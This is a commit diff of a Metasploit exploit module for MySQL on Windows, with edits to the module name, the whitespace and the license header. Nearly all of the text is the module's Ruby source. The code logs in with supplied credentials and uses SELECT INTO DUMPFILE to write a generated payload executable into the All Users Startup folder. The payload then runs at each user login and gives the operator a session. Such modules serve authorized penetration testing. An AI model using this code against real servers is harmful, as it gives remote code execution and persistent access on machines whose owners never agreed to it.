Fixed name, removed tabs, updated license
Sean Verity
parent
911e9dcb54
commit
2addd0fdc4
|
|
@ -1,142 +1,139 @@
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::MYSQL
|
include Msf::Exploit::Remote::MYSQL
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Oracle MySQL for Microsoft Windows Backdoor',
|
'Name' => 'Oracle MySQL for Microsoft Windows File Write',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module takes advantage of a file privilege misconfiguration problem
|
This module takes advantage of a file privilege misconfiguration problem
|
||||||
specifically against Windows MySQL servers. This module writes a payload to
|
specifically against Windows MySQL servers. This module writes a payload to
|
||||||
Microsoft's All Users Start Up directory which will execute every time a
|
Microsoft's All Users Start Up directory which will execute every time a
|
||||||
user logs in.
|
user logs in.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'sinn3r',
|
'sinn3r',
|
||||||
'Sean Verity <veritysr1980[at]gmail.com'
|
'Sean Verity <veritysr1980[at]gmail.com'
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
'InitialAutoRunScript' => "migrate -f"
|
'InitialAutoRunScript' => "migrate -f"
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'MySQL on Windows', { } ]
|
[ 'MySQL on Windows', { } ]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
|
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
|
||||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
|
||||||
])
|
])
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('ExitOnSession', [ true, 'Turn off handler once session is created', true])
|
OptBool.new('ExitOnSession', [ true, 'Turn off handler once session is created', true])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
return Exploit::CheckCode::Safe if not m
|
return Exploit::CheckCode::Safe if not m
|
||||||
|
|
||||||
return Exploit::CheckCode::Appears if is_windows?
|
return Exploit::CheckCode::Appears if is_windows?
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
def peer
|
def peer
|
||||||
"#{rhost}:#{rport}"
|
"#{rhost}:#{rport}"
|
||||||
end
|
end
|
||||||
|
|
||||||
def query(q)
|
def query(q)
|
||||||
rows = []
|
rows = []
|
||||||
|
|
||||||
begin
|
begin
|
||||||
res = mysql_query(q)
|
res = mysql_query(q)
|
||||||
return rows if not res
|
return rows if not res
|
||||||
res.each_hash do |row|
|
res.each_hash do |row|
|
||||||
rows << row
|
rows << row
|
||||||
end
|
end
|
||||||
rescue RbMysql::ParseError
|
rescue RbMysql::ParseError
|
||||||
return rows
|
return rows
|
||||||
end
|
end
|
||||||
|
|
||||||
return rows
|
return rows
|
||||||
end
|
end
|
||||||
|
|
||||||
def is_windows?
|
def is_windows?
|
||||||
r = query("SELECT @@version_compile_os;")
|
r = query("SELECT @@version_compile_os;")
|
||||||
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
|
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_drive_letter
|
def get_drive_letter
|
||||||
r = query("SELECT @@tmpdir;")
|
r = query("SELECT @@tmpdir;")
|
||||||
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
|
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
|
||||||
return drive
|
return drive
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_file(bin, dest)
|
def upload_file(bin, dest)
|
||||||
p = bin.unpack("H*")[0]
|
p = bin.unpack("H*")[0]
|
||||||
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
|
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
if not datastore['ExitOnSession'] and not job_id
|
if not datastore['ExitOnSession'] and not job_id
|
||||||
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
|
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
|
||||||
begin
|
begin
|
||||||
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
return if not m
|
return if not m
|
||||||
rescue RbMysql::AccessDeniedError
|
rescue RbMysql::AccessDeniedError
|
||||||
print_error("#{peer} - Access denied.")
|
print_error("#{peer} - Access denied.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if not is_windows?
|
if not is_windows?
|
||||||
print_error("#{peer} - Remote host isn't Windows.")
|
print_error("#{peer} - Remote host isn't Windows.")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
drive = get_drive_letter
|
drive = get_drive_letter
|
||||||
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
|
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
|
||||||
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
|
dest = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
|
||||||
exe = generate_payload_exe
|
exe = generate_payload_exe
|
||||||
print_status("#{peer} - Uploading to '#{dest}'")
|
print_status("#{peer} - Uploading to '#{dest}'")
|
||||||
begin
|
begin
|
||||||
upload_file(exe, dest)
|
upload_file(exe, dest)
|
||||||
register_file_for_cleanup("#{dest}")
|
register_file_for_cleanup("#{dest}")
|
||||||
rescue RbMysql::AccessDeniedError
|
rescue RbMysql::AccessDeniedError
|
||||||
print_error("#{peer} - No permission to write. I blame kc :-)")
|
print_error("#{peer} - No permission to write. I blame kc :-)")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
stime = Time.now.to_f
|
stime = Time.now.to_f
|
||||||
while(true)
|
while(true)
|
||||||
break if session_created? and datastore['ExitOnSession']
|
break if session_created? and datastore['ExitOnSession']
|
||||||
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
|
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
|
||||||
select(nil,nil,nil,1)
|
select(nil,nil,nil,1)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue